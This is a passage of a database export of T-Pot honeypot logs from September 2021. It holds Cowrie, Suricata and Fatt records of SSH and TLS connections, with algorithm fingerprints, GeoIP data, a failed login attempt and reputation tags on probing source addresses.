"ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8bfd395996bd", "@version": "1", "timestamp": "2021-09-20T11:09:04.209892Z", "@timestamp": "2021-09-20T11:09:04.209Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24596	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:04.299193+03	2021-09-20 14:15:09.0045+03	{"_id": "NAblAnwBvYTbRNuEJhWM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "17ec16fb3036", "@version": "1", "timestamp": "2021-09-20T11:09:04.299193Z", "@timestamp": "2021-09-20T11:09:04.299Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24597	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:54.786249+03	2021-09-20 14:15:09.006509+03	{"_id": "VgblAnwBvYTbRNuEAhTA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40258, "timestamp": "2021-09-20T11:08:54.786249", "@timestamp": "2021-09-20T11:08:54.786Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24598	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:56.139298+03	2021-09-20 14:15:09.0075+03	{"_id": "bwblAnwBvYTbRNuEBxQe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [app/app] failed", "session": "3cf3d77ca70c", "@version": "1", "password": "app", "username": "app", "timestamp": "2021-09-20T11:08:56.139298Z", "@timestamp": "2021-09-20T11:08:56.139Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24599	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:56.75275+03	2021-09-20 14:15:09.0085+03	{"_id": "dgblAnwBvYTbRNuECxQt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:33270 (192.168.176.2:22) [session: 5c93443003b2]", "session": "5c93443003b2", "@version": "1", "protocol": "ssh", "src_port": 33270, "dest_port": 22, "timestamp": "2021-09-20T11:08:56.752750Z", "@timestamp": "2021-09-20T11:08:56.752Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24600	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:56.873941+03	2021-09-20 14:15:09.009497+03	{"_id": "dQblAnwBvYTbRNuECxQr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5c93443003b2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:56.873941Z", "@timestamp": "2021-09-20T11:08:56.873Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24601	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:57.028661+03	2021-09-20 14:15:09.011502+03	{"_id": "hAblAnwBvYTbRNuEDRSD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1050969568200787, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33270, "dest_port": 22, "timestamp": "2021-09-20T11:08:57.028661Z", "@timestamp": "2021-09-20T11:08:57.028Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24602	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:08:57.299611+03	2021-09-20 14:15:09.0125+03	{"_id": "hQblAnwBvYTbRNuEDhR3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34832, "timestamp": "2021-09-20T11:08:57.299611", "@timestamp": "2021-09-20T11:08:57.299Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
24603	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:08:58.904144+03	2021-09-20 14:15:09.0135+03	{"_id": "pwblAnwBvYTbRNuEERRs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "flow_id": 562986121612991, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39990, "dest_port": 22, "timestamp": "2021-09-20T11:08:58.904144Z", "@timestamp": "2021-09-20T11:08:58.904Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24604	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:08:58.743061+03	2021-09-20 14:15:09.0145+03	{"_id": "qgblAnwBvYTbRNuEERRs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 60289, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 635888896464533, "@version": "1", "in_iface": "enp5s0", "src_port": 34742, "dest_port": 53, "timestamp": "2021-09-20T11:08:58.743061Z", "@timestamp": "2021-09-20T11:08:58.743Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
24605	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:58.139432+03	2021-09-20 14:15:09.0155+03	{"_id": "sgblAnwBvYTbRNuEEhRj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57684, "timestamp": "2021-09-20T11:08:58.139432", "@timestamp": "2021-09-20T11:08:58.139Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24606	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:58.796264+03	2021-09-20 14:15:09.017501+03	{"_id": "swblAnwBvYTbRNuEEhRj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34834, "dest_port": 443, "timestamp": "2021-09-20T11:08:58.796264", "@timestamp": "2021-09-20T11:08:58.796Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
24607	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:08:58.838325+03	2021-09-20 14:15:09.018502+03	{"_id": "tAblAnwBvYTbRNuEEhRj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34834, "timestamp": "2021-09-20T11:08:58.838325", "@timestamp": "2021-09-20T11:08:58.838Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
24608	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:58.119896+03	2021-09-20 14:15:09.019517+03	{"_id": "rQblAnwBvYTbRNuEEhRi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37296, "timestamp": "2021-09-20T11:08:58.119896", "@timestamp": "2021-09-20T11:08:58.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24614	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:08:58.905009+03	2021-09-20 14:15:09.0265+03	{"_id": "vgblAnwBvYTbRNuEExQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e8e37dd02033", "@version": "1", "timestamp": "2021-09-20T11:08:58.905009Z", "@timestamp": "2021-09-20T11:08:58.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24609	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:58.613574+03	2021-09-20 14:15:09.0205+03	{"_id": "rgblAnwBvYTbRNuEEhRi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "36.27.214.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": 